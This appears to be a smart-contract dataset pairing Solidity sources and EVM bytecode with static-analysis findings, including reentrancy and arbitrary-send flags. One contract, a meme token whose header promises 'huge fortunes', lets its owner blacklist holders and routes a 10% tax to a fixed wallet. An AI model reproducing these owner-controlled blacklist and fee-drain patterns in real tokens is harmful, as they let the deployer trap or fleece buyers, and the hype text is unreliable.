506119a58382611bb4565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119f4576119f46123eb565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a4857600080fd5b505afa158015611a5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a80919061203c565b81600181518110611a9357611a936123eb565b6001600160a01b039283166020918202929092010152601954611ab99130911684611069565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611af29085906000908690309042906004016122d9565b600060405180830381600087803b158015611b0c57600080fd5b505af1158015611b20573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611b4457506000610735565b6000611b508385612384565b905082611b5d8583612362565b146119a55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ce565b60006119a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c5a565b6108af3061dead8361118d565b80611c1057611c10611c88565b611c1b848484611ccd565b806118ae576118ae601454601155601554601255601654601355565b6000806000611c44611dc4565b9092509050611c538282611bb4565b9250505090565b60008183611c7b5760405162461bcd60e51b81526004016107ce9190612228565b5060006118e58486612362565b601154158015611c985750601254155b8015611ca45750601354155b15611cab57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611cdf87611e04565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d119087611e61565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611d409086611ea3565b6001600160a01b038916600090815260026020526040902055611d6281611f02565b611d6c8483611f4c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611db191815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611ddf8282611bb4565b821015611dfb57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611e218a601154601254611f70565b9250925092506000611e31611c37565b90506000806000611e448e878787611fbf565b919e509c509a509598509396509194505050505091939550919395565b60006119a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118b4565b600080611eb0838561234a565b9050838110156119a55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ce565b6000611f0c611c37565b90506000611f1a8383611b35565b30600090815260026020526040902054909150611f379082611ea3565b30600090815260026020526040902055505050565b600754611f599083611e61565b600755600854611f699082611ea3565b6008555050565b6000808080611f8460646116c38989611b35565b90506000611f9760646116c38a89611b35565b90506000611faf82611fa98b86611e61565b90611e61565b9992985090965090945050505050565b6000808080611fce8886611b35565b90506000611fdc8887611b35565b90506000611fea8888611b35565b90506000611ffc82611fa98686611e61565b939b939a50919850919650505050505050565b803561201a81612417565b919050565b60006020828403121561203157600080fd5b81356119a581612417565b60006020828403121561204e57600080fd5b81516119a581612417565b6000806040838503121561206c57600080fd5b823561207781612417565b9150602083013561208781612417565b809150509250929050565b6000806000606084860312156120a757600080fd5b83356120b281612417565b925060208401356120c281612417565b929592945050506040919091013590565b600080604083850312156120e657600080fd5b82356120f181612417565b946020939093013593505050565b6000602080838503121561211257600080fd5b823567ffffffffffffffff8082111561212a57600080fd5b818501915085601f83011261213e57600080fd5b81358181111561215057612150612401565b8060051b604051601f19603f8301168101818110858211171561217557612175612401565b604052828152858101935084860182860187018a101561219457600080fd5b600095505b838610156121be576121aa8161200f565b855260019590950194938601938601612199565b5098975050505050505050565b6000602082840312156121dd57600080fd5b813580151581146119a557600080fd5b6000602082840312156121ff57600080fd5b5035919050565b6000806040838503121561221957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561225557858101830151858201604001528201612239565b81811115612267576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123295784516001600160a01b031683529383019391830191600101612304565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561235d5761235d6123d5565b500190565b60008261237f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561239e5761239e6123d5565b500290565b6000828210156123b5576123b56123d5565b500390565b60006000198214156123ce576123ce6123d5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108af57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203521e305b0829143e4c2dec20de4812510c3cfe7f6ec03640e86be283a5732f664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,717
0x2fe64d038426dfe8408d587ce2d0b005174937f4
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract StarSportsToken is BurnableToken, PausableToken { string public name = "StarSports Token"; string public symbol = "SST"; uint256 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 60 * 1000 * 1000 * 1000 * (10 ** uint256(decimals)); function StarSportsToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e55780632ff2e9dc1461020d578063313ce567146102205780633f4ba83a1461023357806342966c68146102485780635c975abb1461025e578063661884631461027157806370a08231146102935780638456cb59146102b25780638da5cb5b146102c557806395d89b41146102f4578063a9059cbb14610307578063d73dd62314610329578063dd62ed3e1461034b578063f2fde38b14610370575b600080fd5b341561010b57600080fd5b61011361038f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a036004351660243561042d565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d3610458565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a036004358116906024351660443561045e565b341561021857600080fd5b6101d361048b565b341561022b57600080fd5b6101d361049b565b341561023e57600080fd5b6102466104a1565b005b341561025357600080fd5b610246600435610520565b341561026957600080fd5b6101ac6105e9565b341561027c57600080fd5b6101ac600160a060020a03600435166024356105f9565b341561029e57600080fd5b6101d3600160a060020a036004351661061d565b34156102bd57600080fd5b610246610638565b34156102d057600080fd5b6102d86106bc565b604051600160a060020a03909116815260200160405180910390f35b34156102ff57600080fd5b6101136106cb565b341561031257600080fd5b6101ac600160a060020a0360043516602435610736565b341561033457600080fd5b6101ac600160a060020a036004351660243561075a565b341561035657600080fd5b6101d3600160a060020a036004358116906024351661077e565b341561037b57600080fd5b610246600160a060020a03600435166107a9565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b505050505081565b60035460009060a060020a900460ff161561044757600080fd5b6104518383610844565b9392505050565b60005481565b60035460009060a060020a900460ff161561047857600080fd5b6104838484846108b0565b949350505050565b600654600a0a640df84758000281565b60065481565b60035433600160a060020a039081169116146104bc57600080fd5b60035460a060020a900460ff1615156104d457600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080821161052e57600080fd5b600160a060020a03331660009081526001602052604090205482111561055357600080fd5b5033600160a060020a0381166000908152600160205260409020546105789083610a32565b600160a060020a038216600090815260016020526040812091909155546105a5908363ffffffff610a3216565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561061357600080fd5b6104518383610a44565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461065357600080fd5b60035460a060020a900460ff161561066a57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104255780601f106103fa57610100808354040283529160200191610425565b60035460009060a060020a900460ff161561075057600080fd5b6104518383610b3e565b60035460009060a060020a900460ff161561077457600080fd5b6104518383610c39565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146107c457600080fd5b600160a060020a03811615156107d957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156108c757600080fd5b600160a060020a0384166000908152600160205260409020548211156108ec57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561091f57600080fd5b600160a060020a038416600090815260016020526040902054610948908363ffffffff610a3216565b600160a060020a03808616600090815260016020526040808220939093559085168152205461097d908363ffffffff610cdd16565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546109c5908363ffffffff610a3216565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610a3e57fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610aa157600160a060020a033381166000908152600260209081526040808320938816835292905290812055610ad8565b610ab1818463ffffffff610a3216565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610b5557600080fd5b600160a060020a033316600090815260016020526040902054821115610b7a57600080fd5b600160a060020a033316600090815260016020526040902054610ba3908363ffffffff610a3216565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bd8908363ffffffff610cdd16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c71908363ffffffff610cdd16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561045157fe00a165627a7a72305820b8a612717516f527ef6b8b8c0d6a71908efa7b86a724f9f3ab0a5e6abeb4aafd0029
{"success": true, "error": null, "results": {}}
2,718
0x8825c75aCc788e04B64c64010C94B7517D4E470d
/** He will unveil the blockchain kingdom with its partners and cast a powerful sorcery to help more people earn huge fortunes. He's coming, and no one can stop him! Supply:2,222,222,222,222 Max Buy:44,444,444,444 2% Max wallet:88,888,888,888 4% Tax: 10% Socials: Web:https://blackcloverinu.com/ TG:https://t.me/BlackCloverInu Twitter:https://twitter.com/BlackCloverInu */ pragma solidity 0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BlackCloverInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2222222222222 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "BlackClover Inu"; string private constant _symbol = "BCI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xe0Bc6576E8f76F7f274cF8E8B4397A50c14DfF2a); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 44444444444 * 10**9; _maxWalletSize = 88888888888 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e4c565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061296f565b6104b4565b60405161018e9190612e31565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fee565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129ab565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612920565b610633565b60405161021f9190612e31565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612892565b61070c565b005b34801561025d57600080fd5b506102666107fc565b6040516102739190613063565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129ec565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a3e565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612892565b610a03565b6040516103199190612fee565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612d63565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e4c565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061296f565b610cc4565b6040516103da9190612e31565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a3e565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c91906128e4565b6113a3565b60405161046e9190612fe